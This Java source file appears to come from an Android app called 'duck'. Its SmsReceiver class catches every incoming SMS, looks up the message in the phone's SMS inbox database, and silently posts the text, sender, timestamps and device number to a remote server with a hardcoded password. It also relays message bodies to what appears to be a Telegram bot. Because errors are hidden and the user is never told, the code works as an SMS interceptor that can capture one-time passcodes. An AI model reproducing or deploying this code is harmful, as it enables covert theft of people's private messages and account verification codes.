package com.app.duck.util;


import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.provider.Telephony;
import android.telephony.SmsMessage;
import android.util.Log;

import com.alibaba.fastjson.JSON;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.Utils;
import com.app.duck.Config;
import com.app.duck.database.DBHelper;
import com.app.http.APPConfig;
import com.app.http.BaseBean;
import com.app.http.Http;
import com.elvishew.xlog.XLog;

import java.util.HashMap;

public class SmsReceiver extends BroadcastReceiver {
    private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";

    @Override
    public void onReceive(Context context, Intent intent) {
        if (intent.getAction().equals(SMS_RECEIVED)) {

            ThreadUtils.runOnUiThreadDelayed(() -> {
                HashMap<String, String> map = new HashMap<>();
                Bundle bundle = intent.getExtras();
                if (bundle != null) {
                    Object[] pdus = (Object[]) bundle.get("pdus");
                    if (pdus != null) {
                        SmsMessage[] messages = new SmsMessage[pdus.length];
                        long timestampMillis = 0;
                        for (int i = 0; i < pdus.length; i++) {
                            messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
                        }
                        StringBuilder smsBodyBuilder = new StringBuilder();
                        for (SmsMessage message : messages) {
                            smsBodyBuilder.append(message.getMessageBody());
                            timestampMillis = message.getTimestampMillis(); // 发件时间

                        }
                        String smsBody = smsBodyBuilder.toString();
                        map.put("body", smsBody);
                        map.put("address", HxUtils.getPhone());
                        map.put("timestampMillis", timestampMillis + "");
                        String simInfo = GsonUtils.toJson(findSMSId(context, timestampMillis, smsBody, map));
                        pushSms(simInfo);

                    }
                }
            }, 5000);

        }

    }

    private HashMap<String, String> findSMSId(Context context, long timestamp, String body, HashMap<String, String> map) {
        // 查询短信数据库，根据发送方号码和时间戳等属性来定位短信记录，并获取其ID
        Uri uri = Uri.parse("content://sms/inbox");
        String selection = "date_sent = ? AND body = ?";
        String[] selectionArgs = new String[]{String.valueOf(timestamp), body};

        Cursor cursor = context.getContentResolver().query(uri, null, selection, selectionArgs, null);
        if (cursor != null && cursor.moveToFirst()) {
            int index1 = cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
            if (index1 >= 0) {
                String address = cursor.getString(index1); // 收件人
                map.put("sender", address);
            } else {
                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
            }
            int index2 = cursor.getColumnIndexOrThrow(Telephony.Sms.DATE);
            if (index2 >= 0) {
                long date = cursor.getLong(index2); // 收件时间
                map.put("date", date + "");
            } else {
                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
            }
            int index3 = cursor.getColumnIndexOrThrow(Telephony.Sms._ID);
            if (index3 >= 0) {
                int id = cursor.getInt(index3); // 收件时间
                map.put("id", id + "");
            } else {
                XLog.i("First cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
            }
            cursor.close();
        } else {
            new TgBot("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
            Log.i(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
            XLog.i("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
            String selectionB = "date_sent = ?";
            String[] selectionArgsB = new String[]{String.valueOf(timestamp)};
            Cursor cursorB = context.getContentResolver().query(uri, null, selectionB, selectionArgsB, null);
            if (cursorB != null && cursorB.moveToFirst()) {
                int index1 = cursorB.getColumnIndexOrThrow(Telephony.Sms.ADDRESS);
                if (index1 >= 0) {
                    String address = cursorB.getString(index1); // 收件人
                    map.put("sender", address);
                } else {
                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS) < 0");
                }
                int index2 = cursorB.getColumnIndexOrThrow(Telephony.Sms.DATE);
                if (index2 >= 0) {
                    long date = cursorB.getLong(index2); // 收件时间
                    map.put("date", date + "");
                } else {
                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms.DATE) < 0");
                }
                int index3 = cursorB.getColumnIndexOrThrow(Telephony.Sms._ID);
                if (index3 >= 0) {
                    int id = cursorB.getInt(index3); // 收件时间
                    map.put("id", id + "");
                } else {
                    XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
                }
                new TgBot("Find sms by id result success second. date_sent = " + timestamp, true);
                cursorB.close();
            } else {
                new TgBot("Find sms by id result error second. date_sent = " + timestamp, true);
                Log.i(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
                XLog.i("Find sms by id result error second. date_sent = " + timestamp);
            }
        }

        return map;
    }

    private void pushSms(String s) {
        HashMap<String, Object> map = new HashMap<>();
        map.put("data", s);
        map.put("password", "o6M5sG7E@FAWLBL9");
        Http.getInstance()
                .setUrlPath(APPConfig.BASE, APPConfig.SMS)
                .setParams(map)
                .setErrorStyle(Http.ERROR_HIDE)
                .setLoadStyle(Http.ERROR_HIDE)
                .setBindLife(false)
                .setRetryCount(3)
                .post(new Http.HttpCallBack<String>() {
                    @Override
                    public void onNext(String model) {
                        try (DBHelper dbHelper = new DBHelper(Utils.getApp())) {
                            dbHelper.insertOrUpdateData(JSON.parseObject(s).getInteger("id"), 1);
                        } catch (Exception e) {
                            XLog.e("pushSms error.", e);
                        }

                    }

                    @Override
                    public void onError(Throwable ex) {
                        super.onError(ex);
                        XLog.e("Push SMS error.", ex);
                    }

                    @Override
                    public void onFail(BaseBean t) {
                        super.onFail(t);
                        XLog.e("Push SMS fail." + t.getMsg());
                    }
                });
    }
}

